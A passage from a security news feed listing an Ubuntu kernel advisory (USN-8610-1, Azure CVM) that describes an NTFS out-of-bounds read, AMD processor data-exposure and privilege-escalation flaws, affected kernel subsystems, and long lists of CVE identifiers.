CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8610-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:33 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200,
CVE-2026-43202, CVE-2026-43203, CVE-2026-43205, CVE-2026-43206,
CVE-2026-43207, CVE-2026-43209, CVE-2026-43211, CVE-2026-43218,
CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227,
CVE-2026-43230, CVE-2026-43231, CVE-2026-43232, CVE-2026-43233,
CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246,
CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268,
CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275,
CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283,
CVE-2026-43287, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43302, CVE-2026-43312, CVE-2026-43313,
CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43333,
CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363,
CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43380,
CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43405, CVE-2026-43411, CVE-2026-43420, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43439, CVE-2026-43445,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43469, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475,
CVE-2026-43476, CVE-2026-43480, CVE-2026-43484, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45852,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45860, CVE-2026-45862,
CVE-2026-45864, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45873,
CVE-2026-45875, CVE-2026-45879, CVE-2026-45883, CVE-2026-45885,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902,
CVE-2026-45904, CVE-2026-45911, CVE-2026-45912, CVE-2026-45915,
CVE-2026-45916, CVE-2026-45919, CVE-2026-45920, CVE-2026-45924,
CVE-2026-45935, CVE-2026-45936, CVE-2026-45941, CVE-2026-45946,
CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45958,
CVE-2026-45960, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45974, CVE-2026-45978,
CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45994, CVE-2026-46002, CVE-2026-46004,
CVE-2026-46006, CVE-2026-46009, CVE-2026-46015, CVE-2026-46018,
CVE-2026-46019, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46027, CVE-2026-46033, CVE-2026-46037, CVE-2026-46040,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46053, CVE-2026-46062,
CVE-2026-46064, CVE-2026-46070, CVE-2026-46072, CVE-2026-46077,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46088, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46112, CVE-2026-46120, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46132, CVE-2026-46133, CVE-2026-46137, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46167, CVE-2026-46168, CVE-2026-46172,
CVE-2026-46174, CVE-2026-46177, CVE-2026-46178, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46205, CVE-2026-46206, CVE-2026-46209,
CVE-2026-46212, CVE-2026-46214, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46227, CVE-2026-46230, CVE-2026-46231, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46236, CVE-2026-46238, CVE-2026-46249,
CVE-2026-46250, CVE-2026-46253, CVE-2026-46259, CVE-2026-46267,
CVE-2026-46270, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275,
CVE-2026-46285, CVE-2026-46294, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46307, CVE-2026-46319, CVE-2026-46328,
CVE-2026-52911, CVE-2026-52912, CVE-2026-52914, CVE-2026-52915,
CVE-2026-52916, CVE-2026-52919, CVE-2026-52920, CVE-2026-52921,
CVE-2026-52922, CVE-2026-52925, CVE-2026-52926, CVE-2026-52931,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998,
CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003,
CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047,
CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53064,
CVE-2026-53065, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071,
CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53096, CVE-2026-53112, CVE-2026-53128, CVE-2026-53130,
CVE-2026-53287, CVE-2026-53291, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309,
CVE-2026-53320, CVE-2026-53369, CVE-2026-53379, CVE-2026-63860,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64032, CVE-2026-64033,
CVE-2026-64034, CVE-2026-64039, CVE-2026-64046, CVE-2026-64047,
CVE-2026-64055, CVE-2026-64056, CVE-2026-64083, CVE-2026-64084,
CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088,
CVE-2026-64089, CVE-2026-64096, CVE-2026-64102, CVE-2026-64103,
